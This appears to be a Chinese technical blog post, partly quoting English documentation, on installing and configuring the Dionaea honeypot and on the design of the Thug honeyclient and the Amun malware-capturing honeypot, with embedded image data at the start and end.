SK3SW3nh9aXhlUoo6SrzD9i49PULzN7Rf3vVOsGUzZGBbi8JDtq8+e09Ow4dwn8852v9299+E/xcCqFC+PTqaJiOR5xe804QrSJpjZZO9oZ2GTiMnGCaEDohMBUWUCfS1At/+pNTDn5Q9pN0lzdcigcmf5YOGO/p93/5y63aHgyTFh72uRu8Z2l4mizt4h++i+B21tfXt7RUVV1f/XZco5F8wx/HiE7kEEKIDuZ+vGRJ8LUBo1kWwgY7O4c1IjYYBQixIU5Vc309xe43/+/GrzxePaerJXUdoZP5gNAJgamwYDqRcmL//k1+4t9DnkgghOq8eCvnCb6GjxvIMCUvLbZKhEEIpakXLf/q8aQ589PIytZTIzr5/T/cEm+HhoZevnwy/tC7tmkd8/17zRRtnUA4cC1gySqHnD6IppGtAQAAWJPTtMdhdX3597ZWAABg9bo/lTGkHnmk9dHoxI8dAABgpW1sbS+EEPKf0dxJVgAAABxOhDZqVM1/dhd/JFjy5dU7nQoIIRxiZJ8Ze1l9TKATCCGE7YXfWQLH8xHPBXIoH7vYRehkziB0QmAqLJBOOnsSDt9pUWLMW3+NY6ghHLh2/LchN0ZqsjBlc6Tn0YhTFy4YWuy6fPlk9El3t8DMMiWEUNbz6Ep+xXebw54oukL1zE6urTEZnaBp4UuXat6tuumgoyYVBCGEks57G5buuXqnUwGH8tIPv4WvjKFMN2uw0vbMA8YQOpj78ZI3LqWhuJk+ww2tbjq48vVLaWI1hOhAtsvqsKJ6NYRQ0pWz/fWVCUy1ejD34yUfUxhqCOHgsx//W3vBTZuxOlHL5WMNIUk6t+I3YFtQ2L633z6dU3WX0Mm8QOiEwFRYyNwJhHDwWdTfvq4VSxjblh7Kbh/zwJ6n1/eHPn4hG/8sNTNjf9JIZfAIgmdXPtlbK1HXfv3vznfaZLfP/c5dMzuJO/yOTXKbkaZOJtQJxO2oGYfRtPClf385hxu4FrA0+NqAGmW6LdU8TPsp6vrS6yfj/fAZik9oFwohh37stTG996xO4Gtral7abYpPwAdLAACAhIwGSDnEeZA2SlnCxn/ZeimiqCgtLa38vrfrO6eudmomlGppyefr37L4Hx4IbzDlzLqY3BT7P0RWKyChkzmG0AmBqbAgOvl7/IPy2J9OfnO4sEvVfOzPB2Ipe98ZVy7cW/n9G5qcx1gJPaH+/T/GPF5w9fB78Qy1SpC1+bWLlfKhny/tulvOS4//+E9OP9c35EZcMd76rvGLXR+4McUj/6ijk65Q0ogVIIT4ML3RjSnWrxPx/YTPXrc9c+tcSZf65ROfpO946+X1Ry8kbvh2z9I9bok/p/Ek/HvrtHSCKbtLcurbxtfX1dfX19e384Y1y2KNWR/s+un2p6Nh6q8i/9eIFwmdzCmETghMhXn7pCo59TlXb19y+/bjP/3py9NHkMong0oIIcQqqV/+7n/sSi7R3c3QW3n+Lc33dB2dvBwTsbanP7l4rP4Xi/BKOeSVfbd8K6MfKvNvOr31F1pBmssbfzt9evuVsufGu4dxwlT8pLOTJd+EdqHjdXIf1V6/0vbQE+Qfv7eKbxo7tHPy/P84eqd8rE7GYDh3gikbj/8toUmqeQDGSlu5cuStjupE3ZKXZyArM3/MYRN1gvljgT8VBAvD/O07efKrx7srz6TdaxnQWqVSDtV8u/Pt9z/+D9Le8hdjE/FT04n2IwVXv/2vyF8kvY/PrlwVVd6lZKXveMuN2cO5sc4qONdYd8WP6ASF/Gc09y+XLNEpFB6bO+FVnn9ryZeJeUNqqK7JO2a1JIDOx/84Wjr5cknwzUHlYO7HSz74IU2shur6x9cdHEZ0Ium8t2HJEu+DDQMQouLG0I8D80SwO8//j/jrqjvvUPyspq+Tltxj6SwlpnkAxgt1ee9mKe6OEZ3I+CmfejyVzOUfbwoQQ5XxQ8TIXFnAuKLtTRm7Vq26mNApGar51uO3y946HH+tqntkX5yygupl+db5zPGr9sXF4d//+Q0tndRmelra3ntacfKvu8o5tdGfulKf9Q608F5k3vzoTTemGEqSzv7+70azGVCbcdsYs56NuERT2QUAAODlapihyi4AAAnhaf+3mpt3DM+arLQ9Ex7wwRIAnN2YIr2VXerOqGA8a2JFCo50cAAAOESkiXVnEro6wTpryIHXeXLdB2DdZYEbPZ4Mjt6bFr5098EnzwvP2axM5ixwGIihyvghYmSuLERcMRm7luYf4Lhn123W6DIUpuy8edXzf/3ONexysxRCCLH+NiT8eh23fhw8Xnrc5je1dMJ9HPZfr392jPSgfaDq2qX6AQwqxc9j4775029+4x3croBwiFfAnryRC8EYMGXzWW/Hg26T8cX1Ck3LNZTptnRPcvn9/aQHHS+1gXHKzm+0tbW1td3y0d3m4YX9NYihyvghYmSuLEBc26uuXKGw2nvQcQM8KuiVTmVtvZ+TXc/TfjrGry/o0v3aO1ScUvLCCKckZoy67acQesWveTzj+bMTQ5XxQ8TIXCHiSmBWmMpQhUn6X4hfZsmwfk4dXzqdGbVC1Dc4neI5TNZW1yAcWwAj62xo6pEt+DzeVGJEMF2IuBKYFUY2VElbMn5MqddTto6yyNbWe6JZ/fg/qRpiP7D40P9hc1c1s2YqXsEE5d977qdU9I6f9OtHVB7mYLEh+CFfyyh8hARs3JPYhntGzwtGFiOCOYOIK4FZMf9DFaZszYkmT41zPg4WANgcSG3R7a+MssjW1mQWCjFxw/37DWI+QgIOZNaAuD7Rc/mH++9OXkmCdSFelsu2RD2ZUutmaVnYSquN58sGMZWQmZHG6pRhuE58EP5C7xAidGKuEHElMCsWYqjCZAMD45aIRnwg1vuMUaQtSKiXX8glMjncz9nS0tkv/FJY4H4SyS86Ncpj5OnKLuSApdUJ+uBkaUWMi3iu3BBWNuYlsYEGBouvO2VRCegnly8Pyu5BIZRUR31i4XipTKgidEIwtxBxJTArXtlQNSWdvEQzOxlhkB5oNfJ0TMxmMJq62DXPxfhJM5iyg5mBjCftRoj/KUqa1j3Uu2RPG7DM8VTuGKNgXMRrgyulQQkhxNpSd611T23F4NjZCTbY9rxnYcRC6MRcIeJKYFYYr04wQUPOSymkk0lWViRyuvbPK0nklJEf714i2VjaeCbW40ZBuxuYda18HBbF90pRJ/8lvOyQd622RJV0ae55IdKaPWFS1uWNwPl8ER+FuLc2+ETdRRAEoQQ6AKdASvqIhyy2ncrjLYBRCJ2YK0RcCcyKV6oTe79kVpvQUKmUStxaxaxmd/D5fA5y5IO9UXlNY5XwrhuFxR9Dv1hPpl1SHX1Oe4UK60jdBTaGFAn0vyzWQw/aBICVI7lCjGHS8u/tXGMrcfNUU9yAB6Wap19D8wahE3OFiCuBWfFKdbLW51K4zwY7B1JwNFLWIjJUMKXsQg5YOZ7L48shhBAbqE+7k99ZRXFaSUI6IIRYbzGFQmcbfLpKkH3Kl9Y5Ou6rB+knrCyPZWvOYB4DJmVFOHnt81hmTUI6IBSVh+0Ooo/u8SVyJwRzChFXArPilS92YWIO/fqBDRYA2HhEV/ZrrTn1lUeHhFwik8MOO1svd/Q5eQmv/goL9CGRPIMvnduz8oPYOhWuB+AQTOcbmihg3NQ9B2ijThAUhWy03E/T3wZCyU7aG0LjFpOtrUlIByaghx6jvbwuoROCOYWIK4FZ8cp1AiGEUN5bGe9pYwE+iG3QnTOI62Pdlx/I5KNs5NzVjGpN9ltSHfWJVSB9EIrKwxwsvZCuCVad1M+TPtub1CKHEM+FrNz/crKijZSTHHqhrA9DWWRraxLCVTwvL+FrdWQdoxMMFdblMzuJ3AnBjCHiSmBWGIdOIIRobxHZ9TMKe4xOMFl9nIvlbgpbClEW2XpDEL0Xgyrx85rnYqUg+5jlB7H1vdlHrBzCykUTvpiyCzm06VSBEFN2IQcsl5+k613pUjTdv89RwpEyMhLSJiy/fsAv5JJmW0pxrQYAAAMiSURBVEwIyR5sJIWEk8lkMvlCiJ83yTMUGbdFZs4hdGKuEHElMCuMRif6wLPi9qQQMr7xxNrZL4x8KcDNxmrDqQIBN9XdwnGfzzYrz3vcSfe6Sx+TN31Gzs0I22gzUgE8ASM6GXfiNbHYRTCnEHElMCuMWicQYsL6YvyoUJRFth77eKw11d0agE/IrIEpvB7akx20HAALl7j6SauxCJ0QLAhEXAnMCiPXyUtQFtna3i+psJxOS6VER2e3KGX1lF02wNInlYs3WBGVX0mq1luuBSHEBuop+5ZbW1tvOESp7J5ECIROCBYEIq4EZoUR6wRTdpSnUaLJYYE+Hs72FgAAa5eQxIfFda29YhTl5Z3auSWEcsNv08juRXUTZWcES89Qj6HCOmrQNhuXcHpXdz1lnw1Y7hxIoTcY7g1M6IRgQSDiSmBWGLFOIDZYEe19KOwGQmex+aIyzWIXJq5LPfKZ6/k8Poph4hqKp721y3laQQLJhqyjE0zWyULInhsdfWILO2R4Uy95LyslyHk5ABbWjvtOXU9CsosqWc/7tLMvE+lkT1KrXPf+eYbQiblCxJXArDBmnYxhJHciENZTg90PXMluFo+O/5i4CQn6xAIA8O75cjl+LyruqKbfDfdy8Tj5YxZrfAd7VMCm3wrzcbIGlvY+V5D8hinrZDrveY4gdGKuEHElMCte2VAlZFKi77PFhnId40BZZIf9KfTsm0n5ejbAY5KO4uQwn6NJbBnE+ispZDIFya/u0NdzRRu1rI/HH/8eUFaU20mEPU4bfMRzw7FMLjE7IZgbiLgSmBWmM1Sp0KmefDVvr4WpUNWCn8VoSjEimB5EXAnMCmKoMn6IGJkrRFwJzApiqDJ+iBiZK0RcCcwKYqgyfogYmStEXAnMCmKoMn6IGJkrRFwJzApiqDJ+iBiZK0RcCcwKYqgyfogYmStEXAnMCkBgCrzqjwnBvEDElYCAgIBgDiB0QkBAQEAwBxA6ISAgICCYAwidEBAQEBDMAYROCAgICAjmAEInBASTIBKJRCLRdJ/V1tY26WUn+NF4mPQXwR9jtO+fYMH4/9UsmotlfYyPAAAAAElFTkSuQmCC" alt="" />

(图片来自Dionaea低交互式蜜罐介绍--诸葛建伟的paper)

Dionaea可以模拟的服务

) SMB
) http、https
) ftp、tftp
) MSSQL、MySQL
) SIP (VoIP)
) shellcode执行
) malware下载、执行

关于Dionaea的安装、配置请参考以下文章

http://ruo.me/index.php/archives/77
http://www.05112.com/anquan/wzaq/stwx/2014/0312/8400.html
http://dionaea.carnivore.it/

. 安装依赖
apt-get update
apt-get install aptitude
aptitude install libudns-dev
aptitude install libglib2.-dev
aptitude install libssl-dev libcurl4-openssl-dev libreadline-dev libsqlite3-dev python-dev libtool automake autoconf build-essential subversion
git-core flex bison pkg-config ) 生成Dionaea的目录
mkdir /opt/dionaea
cd /opt/dionaea ) 安装其他依赖
cd /opt/dionaea
3.1) liblcfg
git clone git://git.carnivore.it/liblcfg.git
cd liblcfg/code
autoreconf -vi
./configure --prefix=/opt/dionaea
make install
cd ..
cd ..
3.2) libemu
git clone git://git.carnivore.it/libemu.git
cd libemu
autoreconf -vi
./configure --prefix=/opt/dionaea
make install
cd ..
3.3) libnl
apt-get install libnl--dev libnl-genl--dev libnl-nf--dev libnl-route--dev
3.4) libev
wget http://dist.schmorp.de/libev/Attic/libev-4.04.tar.gz
tar xfz libev-4.04.tar.gz
cd libev-4.04
./configure --prefix=/opt/dionaea
make install
cd ..
3.5) Python 3.2
wget https://www.python.org/ftp/python/3.2.2/Python-3.2.2.tgz
tar xfz Python-3.2..tgz
cd Python-3.2./
./configure --enable-shared --prefix=/opt/dionaea --with-computed-gotos --enable-ipv6 LDFLAGS="-Wl,-rpath=/opt/dionaea/lib/
-L/usr/lib/i386-linux-gnu/"
make && make install
cd /opt/dionaea/bin
ln python3. /usr/bin/python3
cd ..
3.6) sqlite 3.3.
wget http://www.sqlite.com.cn/Upfiles/source/sqlite-3.3.7.tar.gz
tar xzf sqlite-3.3..tar.gz
cd sqlite-3.3.
mkdir /home/sqlite-3.3.
./configure --prefix=/home/sqlite-3.3.
make && make install && make doc
cd /home/sqlite-3.3./bin/
ln sqlite3 /usr/bin/sqlite3
3.7) Cython
cd /opt/dionaea
wget http://cython.org/release/Cython-0.15.tar.gz
tar xfz Cython-0.15.tar.gz
cd Cython-0.15
/opt/dionaea/bin/python3 setup.py install
cd ..
3.8) libpcap
wget http://www.tcpdump.org/release/libpcap-1.1.1.tar.gz
tar xfz libpcap-1.1..tar.gz
cd libpcap-1.1.
./configure --prefix=/opt/dionaea
make && make install
cd ..
) 编译安装dionaea
git clone git://git.carnivore.it/dionaea.git
cd dionaea
autoreconf -vi
./configure --with-lcfg-include=/opt/dionaea/include/ \
--with-lcfg-lib=/opt/dionaea/lib/ \
--with-python=/opt/dionaea/bin/python3. \
--with-cython-dir=/opt/dionaea/bin \
--with-udns-include=/opt/dionaea/include/ \
--with-udns-lib=/opt/dionaea/lib/ \
--with-emu-include=/opt/dionaea/include/ \
--with-emu-lib=/opt/dionaea/lib/ \
--with-gc-include=/usr/include/gc \
--with-ev-include=/opt/dionaea/include \
--with-ev-lib=/opt/dionaea/lib \
--with-nl-include=/opt/dionaea/include \
--with-nl-lib=/opt/dionaea/lib/ \
--with-curl-config=/usr/bin/ \
--with-pcap-include=/opt/dionaea/include \
--with-pcap-lib=/opt/dionaea/lib/
make && make install

安装完毕后,可以采用后台运行的方式启动

Dionaea根据命令参数运行,可选择:

) 不同的运行环境
) 任务
) 筛选事件
) 记录内容

配置文件则具体规定:

) 蜜罐运行后开启的模块
) 记录文件的保存位置
) 扩展功能的参数

默认配置下Dionaea自动选择一个网络接口进行监听

cd /opt/dionaea/bin
) ./dionaea -l all,-debug -L '*'
) ./dionaea -l all,-debug -L 'con*,py*'
) ./dionaea -u nobody -g nogroup -r /opt/dionaea/ -w /opt/dionaea -p /opt/dionaea/var/dionaea.pid

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alt="" />

Dionaea会在这些端口进行监听,并捕获来自潜在攻击者的访问轨迹数据

相比于Kippo,Dionaea因为架构庞大了许多,所以配置文件、模块结构看起来也复杂了许多,这也是正常的,我们可以把它和MSF的架构进行类比,就会发现很多异同点,Dionaea的服务模拟都是通过独立的模块,用python脚本予以实现,而配置文件中则包含了这些模块的相关信息

我们简单学习一下它的配置文件

Dionaea 默认下配置文件是/opt/dionaea/etc/dionaea.conf。配置文件内容分为:
. logging
配置日志的存放部分、事件记录级别、所在域。包括普通日志和错误日志,默认下位于/opt/dionaea/var/log目录下,分别记录所有事件、警告、错误事件

. processors
配置libemu、和用于导出数据流的模块streamdumper . libemu
可增减允许的协议,配置shellcode检测时支持的最大流大小、跟踪步数限制、和并发执行数等性能参数 . streamdumper
配置导出数据流时允许和拒绝的协议、数据流保存的位置 . downloads
配置恶意文件下载的保存的位置 . bistreams
配置数据流保存的位置 . submit
设置自动通过http提交恶意文件到特定地址,具体配置信息依赖于服务器的设定 . listen
配置Dionaea进行监听的网络接口IP,默认下自动获取 . modules
配置各种模块的工作参数。部分"必须模块": curl、libemu、pcap模拟的服务services等信息

对于蜜罐系统,数据可视化、数据建模解读永远是一个重点,关于Dionaea的捕获数据解析有以下方式

. 使用dionaea附带的工具进行日志读取
cd /opt/dionaea/dionaea/modules/python/util
python3 ./readlogsqltree.py -t $(date '+%s')-* /opt/dionaea/var/dionaea/logsql.sqlite
python3 ./gnuplotsql.py -d /opt/dionaea/var/dionaea/logsql.sqlite -p smbd -p epmapper -p mssqld -p httpd -p ftpd . 利用DionaeaFR进行可视化展示
cd /opt/
git clone https://github.com/RootingPuntoEs/DionaeaFR.git
cd /opt/DionaeaFR
这个工具涉及到node.js、django等工具,之前没有接触过,不过感觉业内用它们做数据可视化挺多的,接下来准备入手研究一下,试试用node.js、django搞点好玩的
http://www.freebuf.com/articles/system/12696.html

4. Thug

. Thug is a Python low-interaction honeyclient based on an hybrid static/dynamic analysis approach.
. Thug provides a DOM implementation which is (almost) compliant with W3C DOM Core, HTML, Events, Views and Style specifications (Level , and partially ).
. Thug makes use of the Google V8 Javascript engine wrapped through PyV8 in order to analyze malicious Javascript code and of the Libemu library wrapped through Pylibemu in order to detect and emulate shellcodes.
. Currently Internet Explorer (Windows XP, Windows , Windows , Windows )
) Microsoft Edge (Windows )
) Chrome (Windows XP, Windows , MacOS X, Android 4.0., Android 4.0., Android 4.1., Linux, iOS 7.1, iOS 7.1., iOS 7.1., iOS 8.0., iOS 8.1., iOS 8.4., iOS 9.0.)
) Firefox (Windows XP, Windows , Linux)
) Safari (Windows XP, Windows , MacOS X, iOS 7.0., iOS 8.0., iOS 9.1)
personalities are emulated and about vulnerability modules (ActiveX controls, core browser functionalities, browser plugins) are provided.

0x1: Build and Install

Relevant Link:

http://buffer.github.io/thug/doc/intro.html
http://buffer.github.io/thug/doc/index.html

5. Amun malware honeypots

In this report we describe a low-interaction honeypot, whichiscapableofcapturingautonomousspreadingmalware from the internet, named Amun. For this purpose, the software emulates a wide range of different vulnerabilities. As soon as an attacker exploits one of the emulated vulnerabilities the payload transmitted by the attacker is analyzed and any download URL found is extracted. Next, the honeypot tries to download the malicious software and store it on the local harddisc, for further analyses. As a result, we are able to collect at best unknown binaries of malware that automatically spreads across the network. The collected samples can for example be used to help anti-virus vendors improve their signatures.
0x1: Implementation

Amun is written in Python1, a small and simple scripting language. The honeypot is made up of different components

. Amun Kerneli
. Request Handler
. Vulnerability Modules
. Shellcode Analyzer
. Download Modules
. Logging Modules
. Submission Modules

1. Amun Kernel

The Amun Kernel is the core component of the honeypot. This part contains the startup and configuration routines, as well as, the main routines of the software。During the startup phase

. the Amun Kernel initialises the regular expressions that are used for shellcode matching
. reads the main configuration file: "conf/amun.conf"
. creates the internal logging modules
. loads all external modules.
) vulnerability modules: responsible for emulating single vulnerabilities
) the logging modules: that log attack information to other services like databases
) the submission modules, that for example write downloaded binaries to hard disc.

For each loaded vulnerability module, the Amun Kernel retrieves the list of accociated ports and stores the vulnerability module in an array with the port as key

Array (
[] => Array (
[] => vuln-netdde
[] => vuln-ms06040
)
[] => Array (
[] => vuln-ms08067
[] => vuln-ms06040
[] => vuln-ms06070
)
)

所以我们可以把多个vul module处理逻辑绑定在同一个端口上,例如80端口上存在多个漏洞
After all initial modules are loaded and the appropriate TCP servers are started, Amun Kernel enters the main loop.
During this loop,it iterates over all connected sockets

. triggers download events
. transfers information to certain modules
. and re-reads the main configuration file for changes. The re-reading of the main configuration file allows to change certain settings during runtime. Amun does not have to be stopped and restarted.

2. Amun Configuration
Amun utilizes a single configuration file for adjusting all parameters necessary to run the honeyot

. ip: It defines the IP address Amun will listen on during runtime.
) It takes a single IP address as parameter
) or the wildcard IP address 0.0.0.0 to listen on all addresses and interfaces assigned to the host system.
) or IP address ranges (192.168.0.1 - 192.168.0.5)
) or provide an interface name (e.g. eth0)
) CIDR notation for networks (192.168.0.0/)
) or single comma separated IP adresses. 用逗号分隔多个IP项
. a user and group can be defined, which limit the privileges of Amun.
. timeout parameters, which adjust the way Amun timeouts connections, open ports, and download requests. As some attacks might not work correctly it is possible, that attackers for example do not connect to the requested port, therefore, Amun needs to close this port after a certain amount of time has been passed. The options are named:
) connection timeout
) bindport timeout
) ftp timeout.
. Amun also offers the possibility to reject certain attacking hosts from reconnecting in the case of certain events. These events are:
) malware download was refused
) download did not finish due to a timeout
) a binary was already successfully downloaded
) and the host already successfully exploited the honeypot
. http header filesize check
A lot of malware downloads use HTTP as transfer protocol and one feature of a HTTP server is to store the file size in the HTTP header of the reply. If check http filesize isenabled, Amun will compare the size of the downloaded binary with the value in received in the HTTP header. In case there is a mismatch, the downloaded file is discarded . replace local ip with attacker ip(将Shellcode中的内网IP替换为攻击者的来源IP)
Whenever the Shellcode Analyzer extracts a download URL from the payload of an exploit, any found IP address is checked against a list of local IP addresses (e.g. 192.168.0.0/). If replace local ip is enabled, Amun will replace all those IP addresses with the one of the attacker who send the exploit. Local IP addresses in shellcode occur whenever a host behind a Network Adress Translation (NAT) server is infected . submit modules
contains the modules that are responsible of handling any downloaded binary. The default module that is loaded is the submitmd5 module, that simply stores any downloaded unqiue file to harddisc. Uniqueness is determined by the MD5 hash of the file.
Additional modules of this type allow the transmission of binaries to external services like CWSandbox . The log modules
modules that perform certain logging functionality. In most cases these modules send information to external intrusion detection systems. . vuln modules
list contains all the vulnerability modules that should be load at the startup of Amun.
modules listening on the same port answer to requests in the order they config in cile.

3. Request Handler

The Request Handler is responsible for all incoming and outgoing network traffic of the honeypot.
For every connection request, that reaches the Amun Kernel a Request Handler is created, that handles the connection until it is closed. The Request Handler maintains the list of loaded vulnerability modules and delegates the incoming traffic to those modules that are registered for the current port
Consider a connection coming in on port 445

. if it is a new connection the Request Handler loads all vulnerability modules for port  by checking the vulnerability array at the key
. In the next step the incoming traffic is distributed to each of the modules returned by the previous step.
. Each of the vulnerability modules checks if the incoming traffic matches the service that is emulated and returns if it accepts or rejects the connection
. As a result, the list of emulated vulnerabilities for a connection is thinned out with each incoming request of the attacker.
) In the worst case none of the registered modules matches the attack pattern and the connection is closed
) Otherwise, there is exactly one module left, which successfully emulates all needed steps performed by the attacker and receives the final payload containing the download information of the malware
//Note that incoming network packets can be distributed to all registered vulnerabilitiy modules, but a reply can only be send by one. In the best case there should only be one module left to reply after the first packet is received, however, if there are more left, the reply of the first module in the list is chosen. . Connections that for some reason do not match any of the vulnerability modules, or do not fit an emulated service at any stage create a log entry in the Amun Request Handler log. This log contains information about the attacking host and the request that was send. This information help to update existing vulnerability modules or create new ones. . The Request Handler also receives the results of the vulnerability module that successfully emulated a service and obtained the exploit payload from the attacker. This payload is passed on to the Shellcode Analyzer to detect any known shellcode. The results of the Shellcode Analyzer are again returned to the Request Handler, thus the Request Handler is the crucial point for any attack.

4. Vulnerability Modules

The vulnerability modules make up the emulated services which lure autonomous spreading malware. Each module represents a different service, for example a FTP server. The services are emulated only to the degree that isneededtotriggeracertainexploit. Thatmeans,theemulated services cannot be regularly used, i.e. they do not offer the full functionality of the original service.
从这个角度来说,amun是一个漏洞导向的honypot,而不是一个低交互/高交互的honypot
Vulnerabilities are realized as finite state machines,They usually consist of several stages that lead through the emulated service.

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